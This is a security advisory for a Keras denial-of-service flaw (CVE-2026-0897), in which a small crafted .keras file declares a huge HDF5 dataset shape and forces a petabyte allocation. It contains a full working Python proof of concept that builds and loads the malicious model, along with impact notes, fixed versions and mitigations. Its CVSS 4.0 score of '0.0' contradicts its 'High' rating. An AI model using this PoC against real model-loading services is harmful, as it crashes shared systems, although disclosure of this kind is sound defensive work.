Skip to content

GHSA-mgx6-5cf9-rr43 CVE-2026-0897 PYSEC-2026-73

Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor)

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 26.14% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
3.12.1
Upgrade keras to this version or later

Description

Summary

Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading, Keras executes: python result[key] = value[()] # loads entire dataset into memory value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.

Proof of Concept

// PoC.py
import zipfile
import io
import h5py
import numpy as np
from keras.saving import KerasFileEditor

# Create a malicious .keras model containing a massive HDF5 shape bomb
def create_malicious_keras(path="bomb.keras"):
    hdf5_bytes = io.BytesIO()

    # Create an HDF5 file with a huge declared dataset shape
    with h5py.File(hdf5_bytes, "w") as f:
        d = f.create_dataset(
            "payload",
            shape=(50_000_000, 50_000_000),    # Extremely large shape → petabytes on load
            dtype="float32",
            compression="gzip",
            compression_opts=9
        )
        # Write minimal data so the file stays very small
        d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)

    hdf5_bytes.seek(0)

    # Build a valid .keras archive structure
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("config.json", "{}")
        z.writestr("metadata.json", "{}")
        z.writestr("model.weights.h5", hdf5_bytes.getvalue())

# Generate the malicious model file
create_malicious_keras()

# Trigger the DoS vulnerability when Keras loads the malicious file
KerasFileEditor("bomb.keras")

Expected Result

numpy._core._exceptions._ArrayMemoryError:
Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000)

This crash occurs before any actual model processing, confirming the Denial-of-Service impact.

Impact

This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.

The attacker can:

  • Cause immediate memory exhaustion (8+ PiB allocation attempts)
  • Crash TensorFlow / Python interpreter
  • Kill Jupyter kernels
  • Break automated model-upload pipelines
  • Crash MLOps servers that process user models
  • Deny service to shared GPU/CPU environments

If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.

PoC Video (Google Drive): PoC Video

Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services

Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests. With larger payloads, this would instantly exhaust resources in real production pipelines.

Affected versions

PyPI

PackageVulnerableFixed in
keras
>= 3.0.0, < 3.12.1
3.12.1
keras
>= 3.13.0, < 3.13.2
3.13.2
keras
>= 3.0.0, < 3.13.1
3.13.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

keras PyPI → 3.12.1

pip
pip install --upgrade "keras>=3.12.1"
poetry
poetry add "keras>=3.12.1"
uv
uv add "keras>=3.12.1"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-74m6-m3xx-3vmj
Keras model loading is vulnerable to denial of service through HDF5 shape bombs
Medium Also affects keras
GHSA-m8wh-29wm-52mv
Keras: HDF5 links can disclose local file contents
Medium Also affects keras
GHSA-v2w2-w228-c444
Keras: TorchModuleWrapper can deserialize unsafe PyTorch pickle data
High Also affects keras
GHSA-58hv-7753-xmfq
Keras: tar extraction permits symlink-based path traversal
Medium Also affects keras
GHSA-5gwj-m78q-7pq3
Keras: Lambda deserialization can bypass safe mode and execute code
Critical Also affects keras
GHSA-26c4-7vv6-867j
Keras: HDF5 virtual datasets can disclose local files
Medium Also affects keras
GHSA-gh82-f9x8-5frx
Keras: DiskIOStore permits path traversal through crafted layer names
Medium Also affects keras
GHSA-hqp4-2352-xf5r
Keras archive extraction utilities allow path traversal and arbitrary file writes
High Also affects keras
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor